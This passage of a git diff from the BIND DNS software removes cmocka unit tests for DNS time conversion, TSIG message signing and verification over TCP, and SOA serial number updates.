-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-/* value = 0x80000000 <-> 20380119031408 */
-static void
-half_plus_one_test(void **state) {
-	const char *test_text = "20380119031408";
-	const uint32_t test_time = 0x80000000;
-	isc_result_t result;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-/* value = 0xef68f5d0 <-> 19610307130000 */
-static void
-fifty_before_test(void **state) {
-	isc_result_t result;
-	const char *test_text = "19610307130000";
-	const uint32_t test_time = 0xef68f5d0;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-/* value = 0x4d74d6d0 <-> 20110307130000 */
-static void
-some_ago_test(void **state) {
-	const char *test_text = "20110307130000";
-	const uint32_t test_time = 0x4d74d6d0;
-	isc_result_t result;
-	isc_buffer_t target;
-	uint32_t when;
-	char buf[128];
-
-	UNUSED(state);
-
-	memset(buf, 0, sizeof(buf));
-	isc_buffer_init(&target, buf, sizeof(buf));
-	result = dns_time32_totext(test_time, &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_string_equal(buf, test_text);
-	result = dns_time32_fromtext(test_text, &when);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(when, test_time);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(epoch_minus_one_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(epoch_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(half_maxint_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(half_plus_one_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(fifty_before_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(some_ago_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/tsig_test.c b/lib/dns/tests/tsig_test.c
deleted file mode 100644
index 6c8e6a3c05..0000000000
--- a/lib/dns/tests/tsig_test.c
+++ /dev/null
@@ -1,603 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/util.h>
-
-#include <dns/rdatalist.h>
-#include <dns/rdataset.h>
-#include <dns/tsig.h>
-
-#include "../tsig_p.h"
-#include "dnstest.h"
-
-#define CHECK(r)                               \
-	do {                                   \
-		result = (r);                  \
-		if (result != ISC_R_SUCCESS) { \
-			goto cleanup;          \
-		}                              \
-	} while (0)
-
-#define TEST_ORIGIN "test"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static int debug = 0;
-
-static isc_result_t
-add_mac(dst_context_t *tsigctx, isc_buffer_t *buf) {
-	dns_rdata_any_tsig_t tsig;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	isc_buffer_t databuf;
-	isc_region_t r;
-	isc_result_t result;
-	unsigned char tsigbuf[1024];
-
-	isc_buffer_usedregion(buf, &r);
-	dns_rdata_fromregion(&rdata, dns_rdataclass_any, dns_rdatatype_tsig,
-			     &r);
-	isc_buffer_init(&databuf, tsigbuf, sizeof(tsigbuf));
-	CHECK(dns_rdata_tostruct(&rdata, &tsig, NULL));
-	isc_buffer_putuint16(&databuf, tsig.siglen);
-	isc_buffer_putmem(&databuf, tsig.signature, tsig.siglen);
-	isc_buffer_usedregion(&databuf, &r);
-	result = dst_context_adddata(tsigctx, &r);
-	dns_rdata_freestruct(&tsig);
-cleanup:
-	return (result);
-}
-
-static isc_result_t
-add_tsig(dst_context_t *tsigctx, dns_tsigkey_t *key, isc_buffer_t *target) {
-	dns_compress_t cctx;
-	dns_rdata_any_tsig_t tsig;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	dns_rdatalist_t rdatalist;
-	dns_rdataset_t rdataset;
-	isc_buffer_t *dynbuf = NULL;
-	isc_buffer_t databuf;
-	isc_buffer_t sigbuf;
-	isc_region_t r;
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_stdtime_t now;
-	unsigned char tsigbuf[1024];
-	unsigned int count;
-	unsigned int sigsize = 0;
-	bool invalidate_ctx = false;
-
-	memset(&tsig, 0, sizeof(tsig));
-
-	CHECK(dns_compress_init(&cctx, -1, dt_mctx));
-	invalidate_ctx = true;
-
-	tsig.common.rdclass = dns_rdataclass_any;
-	tsig.common.rdtype = dns_rdatatype_tsig;
-	ISC_LINK_INIT(&tsig.common, link);
-	dns_name_init(&tsig.algorithm, NULL);
-	dns_name_clone(key->algorithm, &tsig.algorithm);
-
-	isc_stdtime_get(&now);
-	tsig.timesigned = now;
-	tsig.fudge = DNS_TSIG_FUDGE;
-	tsig.originalid = 50;
-	tsig.error = dns_rcode_noerror;
-	tsig.otherlen = 0;
-	tsig.other = NULL;
-
-	isc_buffer_init(&databuf, tsigbuf, sizeof(tsigbuf));
-	isc_buffer_putuint48(&databuf, tsig.timesigned);
-	isc_buffer_putuint16(&databuf, tsig.fudge);
-	isc_buffer_usedregion(&databuf, &r);
-	CHECK(dst_context_adddata(tsigctx, &r));
-
-	CHECK(dst_key_sigsize(key->key, &sigsize));
-	tsig.signature = isc_mem_get(dt_mctx, sigsize);
-	isc_buffer_init(&sigbuf, tsig.signature, sigsize);
-	CHECK(dst_context_sign(tsigctx, &sigbuf));
-	tsig.siglen = isc_buffer_usedlength(&sigbuf);
-	assert_int_equal(sigsize, tsig.siglen);
-
-	isc_buffer_allocate(dt_mctx, &dynbuf, 512);
-	CHECK(dns_rdata_fromstruct(&rdata, dns_rdataclass_any,
-				   dns_rdatatype_tsig, &tsig, dynbuf));
-	dns_rdatalist_init(&rdatalist);
-	rdatalist.rdclass = dns_rdataclass_any;
-	rdatalist.type = dns_rdatatype_tsig;
-	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	dns_rdataset_init(&rdataset);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
-	CHECK(dns_rdataset_towire(&rdataset, &key->name, &cctx, target, 0,
-				  &count));
-
-	/*
-	 * Fixup additional record count.
-	 */
-	((unsigned char *)target->base)[11]++;
-	if (((unsigned char *)target->base)[11] == 0) {
-		((unsigned char *)target->base)[10]++;
-	}
-cleanup:
-	if (tsig.signature != NULL) {
-		isc_mem_put(dt_mctx, tsig.signature, sigsize);
-	}
-	if (dynbuf != NULL) {
-		isc_buffer_free(&dynbuf);
-	}
-	if (invalidate_ctx) {
-		dns_compress_invalidate(&cctx);
-	}
-
-	return (result);
-}
-
-static void
-printmessage(dns_message_t *msg) {
-	isc_buffer_t b;
-	char *buf = NULL;
-	int len = 1024;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	if (!debug) {
-		return;
-	}
-
-	do {
-		buf = isc_mem_get(dt_mctx, len);
-
-		isc_buffer_init(&b, buf, len);
-		result = dns_message_totext(msg, &dns_master_style_debug, 0,
-					    &b);
-		if (result == ISC_R_NOSPACE) {
-			isc_mem_put(dt_mctx, buf, len);
-			len *= 2;
-		} else if (result == ISC_R_SUCCESS) {
-			printf("%.*s\n", (int)isc_buffer_usedlength(&b), buf);
-		}
-	} while (result == ISC_R_NOSPACE);
-
-	if (buf != NULL) {
-		isc_mem_put(dt_mctx, buf, len);
-	}
-}
-
-static void
-render(isc_buffer_t *buf, unsigned flags, dns_tsigkey_t *key,
-       isc_buffer_t **tsigin, isc_buffer_t **tsigout, dst_context_t *tsigctx) {
-	dns_message_t *msg = NULL;
-	dns_compress_t cctx;
-	isc_result_t result;
-
-	dns_message_create(dt_mctx, DNS_MESSAGE_INTENTRENDER, &msg);
-	assert_non_null(msg);
-
-	msg->id = 50;
-	msg->rcode = dns_rcode_noerror;
-	msg->flags = flags;
-
-	/*
-	 * XXXMPA: this hack needs to be replaced with use of
-	 * dns_message_reply() at some point.
-	 */
-	if ((flags & DNS_MESSAGEFLAG_QR) != 0) {
-		msg->verified_sig = 1;
-	}
-
-	if (tsigin == tsigout) {
-		msg->tcp_continuation = 1;
-	}
-
-	if (tsigctx == NULL) {
-		result = dns_message_settsigkey(msg, key);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		result = dns_message_setquerytsig(msg, *tsigin);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	}
-
-	result = dns_compress_init(&cctx, -1, dt_mctx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_message_renderbegin(msg, &cctx, buf);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_message_renderend(msg);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	if (tsigctx != NULL) {
-		isc_region_t r;
-
-		isc_buffer_usedregion(buf, &r);
-		result = dst_context_adddata(tsigctx, &r);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	} else {
-		if (tsigin == tsigout && *tsigin != NULL) {
-			isc_buffer_free(tsigin);
-		}
-
-		result = dns_message_getquerytsig(msg, dt_mctx, tsigout);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	}
-
-	dns_compress_invalidate(&cctx);
-	dns_message_detach(&msg);
-}
-
-/*
- * Test tsig tcp-continuation validation:
- * Check that a simulated three message TCP sequence where the first
- * and last messages contain TSIGs but the intermediate message doesn't
- * correctly verifies.
- */
-static void
-tsig_tcp_test(void **state) {
-	const dns_name_t *tsigowner = NULL;
-	dns_fixedname_t fkeyname;
-	dns_message_t *msg = NULL;
-	dns_name_t *keyname;
-	dns_tsig_keyring_t *ring = NULL;
-	dns_tsigkey_t *key = NULL;
-	isc_buffer_t *buf = NULL;
-	isc_buffer_t *querytsig = NULL;
-	isc_buffer_t *tsigin = NULL;
-	isc_buffer_t *tsigout = NULL;
-	isc_result_t result;
-	unsigned char secret[16] = { 0 };
-	dst_context_t *tsigctx = NULL;
-	dst_context_t *outctx = NULL;
-
-	UNUSED(state);
-
-	/* isc_log_setdebuglevel(lctx, 99); */
-
-	keyname = dns_fixedname_initname(&fkeyname);
-	result = dns_name_fromstring(keyname, "test", 0, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_tsigkeyring_create(dt_mctx, &ring);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_tsigkey_create(keyname, dns_tsig_hmacsha256_name, secret,
-				    sizeof(secret), false, NULL, 0, 0, dt_mctx,
-				    ring, &key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(key);
-
-	/*
-	 * Create request.
-	 */
-	isc_buffer_allocate(dt_mctx, &buf, 65535);
-	render(buf, 0, key, &tsigout, &querytsig, NULL);
-	isc_buffer_free(&buf);
-
-	/*
-	 * Create response message 1.
-	 */
-	isc_buffer_allocate(dt_mctx, &buf, 65535);
-	render(buf, DNS_MESSAGEFLAG_QR, key, &querytsig, &tsigout, NULL);
-	assert_non_null(tsigout);
-
-	/*
-	 * Process response message 1.
-	 */
-	dns_message_create(dt_mctx, DNS_MESSAGE_INTENTPARSE, &msg);
-	assert_non_null(msg);
-
-	result = dns_message_settsigkey(msg, key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_message_parse(msg, buf, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	printmessage(msg);
-
-	result = dns_message_setquerytsig(msg, querytsig);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_tsig_verify(buf, msg, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(msg->verified_sig, 1);
-	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
-
-	/*
-	 * Check that we have a TSIG in the first message.
-	 */
-	assert_non_null(dns_message_gettsig(msg, &tsigowner));
-
-	result = dns_message_getquerytsig(msg, dt_mctx, &tsigin);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	tsigctx = msg->tsigctx;
-	msg->tsigctx = NULL;
-	isc_buffer_free(&buf);
-	dns_message_detach(&msg);
-
-	result = dst_context_create(key->key, dt_mctx, DNS_LOGCATEGORY_DNSSEC,
-				    false, 0, &outctx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(outctx);
-
-	/*
-	 * Start digesting.
-	 */
-	result = add_mac(outctx, tsigout);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Create response message 2.
-	 */
-	isc_buffer_allocate(dt_mctx, &buf, 65535);
-
-	assert_int_equal(result, ISC_R_SUCCESS);
-	render(buf, DNS_MESSAGEFLAG_QR, key, &tsigout, &tsigout, outctx);
-
-	/*
-	 * Process response message 2.
-	 */
-	dns_message_create(dt_mctx, DNS_MESSAGE_INTENTPARSE, &msg);
-	assert_non_null(msg);
-
-	msg->tcp_continuation = 1;
-	msg->tsigctx = tsigctx;
-	tsigctx = NULL;
-
-	result = dns_message_settsigkey(msg, key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_message_parse(msg, buf, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	printmessage(msg);
-
-	result = dns_message_setquerytsig(msg, tsigin);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_tsig_verify(buf, msg, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(msg->verified_sig, 0);
-	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
-
-	/*
-	 * Check that we don't have a TSIG in the second message.
-	 */
-	tsigowner = NULL;
-	assert_true(dns_message_gettsig(msg, &tsigowner) == NULL);
-
-	tsigctx = msg->tsigctx;
-	msg->tsigctx = NULL;
-	isc_buffer_free(&buf);
-	dns_message_detach(&msg);
-
-	/*
-	 * Create response message 3.
-	 */
-	isc_buffer_allocate(dt_mctx, &buf, 65535);
-	render(buf, DNS_MESSAGEFLAG_QR, key, &tsigout, &tsigout, outctx);
-
-	result = add_tsig(outctx, key, buf);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Process response message 3.
-	 */
-	dns_message_create(dt_mctx, DNS_MESSAGE_INTENTPARSE, &msg);
-	assert_non_null(msg);
-
-	msg->tcp_continuation = 1;
-	msg->tsigctx = tsigctx;
-	tsigctx = NULL;
-
-	result = dns_message_settsigkey(msg, key);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_message_parse(msg, buf, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	printmessage(msg);
-
-	/*
-	 * Check that we had a TSIG in the third message.
-	 */
-	assert_non_null(dns_message_gettsig(msg, &tsigowner));
-
-	result = dns_message_setquerytsig(msg, tsigin);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_tsig_verify(buf, msg, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(msg->verified_sig, 1);
-	assert_int_equal(msg->tsigstatus, dns_rcode_noerror);
-
-	if (tsigin != NULL) {
-		isc_buffer_free(&tsigin);
-	}
-
-	result = dns_message_getquerytsig(msg, dt_mctx, &tsigin);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_free(&buf);
-	dns_message_detach(&msg);
-
-	if (outctx != NULL) {
-		dst_context_destroy(&outctx);
-	}
-	if (querytsig != NULL) {
-		isc_buffer_free(&querytsig);
-	}
-	if (tsigin != NULL) {
-		isc_buffer_free(&tsigin);
-	}
-	if (tsigout != NULL) {
-		isc_buffer_free(&tsigout);
-	}
-	dns_tsigkey_detach(&key);
-	if (ring != NULL) {
-		dns_tsigkeyring_detach(&ring);
-	}
-}
-
-/* Tests the dns__tsig_algvalid function */
-static void
-algvalid_test(void **state) {
-	UNUSED(state);
-
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACMD5));
-
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA1));
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA224));
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA256));
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA384));
-	assert_true(dns__tsig_algvalid(DST_ALG_HMACSHA512));
-
-	assert_false(dns__tsig_algvalid(DST_ALG_GSSAPI));
-}
-
-/* Tests the dns__tsig_algfromname function */
-static void
-algfromname_test(void **state) {
-	UNUSED(state);
-
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACMD5_NAME),
-			 DST_ALG_HMACMD5);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACSHA1_NAME),
-			 DST_ALG_HMACSHA1);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACSHA224_NAME),
-			 DST_ALG_HMACSHA224);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACSHA256_NAME),
-			 DST_ALG_HMACSHA256);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACSHA384_NAME),
-			 DST_ALG_HMACSHA384);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_HMACSHA512_NAME),
-			 DST_ALG_HMACSHA512);
-
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_GSSAPI_NAME),
-			 DST_ALG_GSSAPI);
-	assert_int_equal(dns__tsig_algfromname(DNS_TSIG_GSSAPIMS_NAME),
-			 DST_ALG_GSSAPI);
-
-	assert_int_equal(dns__tsig_algfromname(dns_rootname), 0);
-}
-
-/* Tests the dns__tsig_algnamefromname function */
-
-/*
- * Helper function to create a dns_name_t from a string and see if
- * the dns__tsig_algnamefromname function can correctly match it against the
- * static table of known algorithms.
- */
-static void
-test_name(const char *name_string, const dns_name_t *expected) {
-	dns_name_t name;
-	dns_name_init(&name, NULL);
-	assert_int_equal(dns_name_fromstring(&name, name_string, 0, dt_mctx),
-			 ISC_R_SUCCESS);
-	assert_ptr_equal(dns__tsig_algnamefromname(&name), expected);
-	dns_name_free(&name, dt_mctx);
-}
-
-static void
-algnamefromname_test(void **state) {
-	UNUSED(state);
-
-	/* test the standard algorithms */
-	test_name("hmac-md5.sig-alg.reg.int", DNS_TSIG_HMACMD5_NAME);
-	test_name("hmac-sha1", DNS_TSIG_HMACSHA1_NAME);
-	test_name("hmac-sha224", DNS_TSIG_HMACSHA224_NAME);
-	test_name("hmac-sha256", DNS_TSIG_HMACSHA256_NAME);
-	test_name("hmac-sha384", DNS_TSIG_HMACSHA384_NAME);
-	test_name("hmac-sha512", DNS_TSIG_HMACSHA512_NAME);
-
-	test_name("gss-tsig", DNS_TSIG_GSSAPI_NAME);
-	test_name("gss.microsoft.com", DNS_TSIG_GSSAPIMS_NAME);
-
-	/* try another name that isn't a standard algorithm name */
-	assert_null(dns__tsig_algnamefromname(dns_rootname));
-}
-
-/* Tests the dns__tsig_algallocated function */
-static void
-algallocated_test(void **state) {
-	UNUSED(state);
-
-	/* test the standard algorithms */
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACMD5_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA1_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA224_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA256_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA384_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA512_NAME));
-
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA512_NAME));
-	assert_false(dns__tsig_algallocated(DNS_TSIG_HMACSHA512_NAME));
-
-	/* try another name that isn't a standard algorithm name */
-	assert_true(dns__tsig_algallocated(dns_rootname));
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(tsig_tcp_test, _setup,
-						_teardown),
-		cmocka_unit_test(algvalid_test),
-		cmocka_unit_test(algfromname_test),
-		cmocka_unit_test_setup_teardown(algnamefromname_test, _setup,
-						_teardown),
-		cmocka_unit_test(algallocated_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/update_test.c b/lib/dns/tests/update_test.c
deleted file mode 100644
index ae7baf3871..0000000000
--- a/lib/dns/tests/update_test.c
+++ /dev/null
@@ -1,356 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <time.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/serial.h>
-#include <isc/stdtime.h>
-#include <isc/util.h>
-
-#include <dns/update.h>
-
-#include "dnstest.h"
-
-/*
- * Fix the linking order problem for overridden isc_stdtime_get() by making
- * everything local.  This also allows static functions from update.c to be
- * tested.
- */
-#include "../update.c"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	setenv("TZ", "", 1);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static uint32_t mystdtime;
-
-static void
-set_mystdtime(int year, int month, int day) {
-	struct tm tm;
-
-	memset(&tm, 0, sizeof(tm));
-	tm.tm_year = year - 1900;
-	tm.tm_mon = month - 1;
-	tm.tm_mday = day;
-	mystdtime = timegm(&tm);
-}
-
-void
-isc_stdtime_get(isc_stdtime_t *now) {
-	*now = mystdtime;
-}
-
-/* simple increment by 1 */
-static void
-increment_test(void **state) {
-	uint32_t old = 50;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	serial = dns_update_soaserial(old, dns_updatemethod_increment, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 51);
-}
-
-/* increment past zero, 0xfffffffff -> 1 */
-static void
-increment_past_zero_test(void **state) {
-	uint32_t old = 0xffffffffu;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	serial = dns_update_soaserial(old, dns_updatemethod_increment, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 1u);
-}
-
-/* past to unixtime */
-static void
-past_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime - 1;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, mystdtime);
-}
-
-/* now to unixtime */
-static void
-now_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, old + 1);
-}
-
-/* future to unixtime */
-static void
-future_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime + 1;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, old + 1);
-}
-
-/* undefined plus 1 to unixtime */
-static void
-undefined_plus1_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime ^ 0x80000000u;
-	old += 1;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, mystdtime);
-}
-
-/* undefined minus 1 to unixtime */
-static void
-undefined_minus1_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime ^ 0x80000000u;
-	old -= 1;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, old + 1);
-}
-
-/* undefined to unixtime */
-static void
-undefined_to_unix_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	set_mystdtime(2011, 6, 22);
-	old = mystdtime ^ 0x80000000u;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, old + 1);
-}
-
-/* handle unixtime being zero */
-static void
-unixtime_zero_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-
-	UNUSED(state);
-
-	mystdtime = 0;
-	old = 0xfffffff0;
-
-	serial = dns_update_soaserial(old, dns_updatemethod_unixtime, NULL);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, old + 1);
-}
-
-/* past to date */
-static void
-past_to_date_test(void **state) {
-	uint32_t old, serial;
-	dns_updatemethod_t used = dns_updatemethod_none;
-
-	UNUSED(state);
-
-	set_mystdtime(2014, 3, 31);
-	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
-	set_mystdtime(2014, 4, 1);
-
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040100);
-	assert_int_equal(dns_updatemethod_date, used);
-}
-
-/* now to date */
-static void
-now_to_date_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-	dns_updatemethod_t used = dns_updatemethod_none;
-
-	UNUSED(state);
-
-	set_mystdtime(2014, 4, 1);
-	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
-
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040101);
-	assert_int_equal(dns_updatemethod_date, used);
-
-	old = 2014040198;
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040199);
-	assert_int_equal(dns_updatemethod_date, used);
-
-	/*
-	 * Stealing from "tomorrow".
-	 */
-	old = 2014040199;
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040200);
-	assert_int_equal(dns_updatemethod_increment, used);
-}
-
-/* future to date */
-static void
-future_to_date_test(void **state) {
-	uint32_t old;
-	uint32_t serial;
-	dns_updatemethod_t used = dns_updatemethod_none;
-
-	UNUSED(state);
-
-	set_mystdtime(2014, 4, 1);
-	old = dns_update_soaserial(0, dns_updatemethod_date, NULL);
-	set_mystdtime(2014, 3, 31);
-
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040101);
-	assert_int_equal(dns_updatemethod_increment, used);
-
-	old = serial;
-	serial = dns_update_soaserial(old, dns_updatemethod_date, &used);
-	assert_true(isc_serial_lt(old, serial));
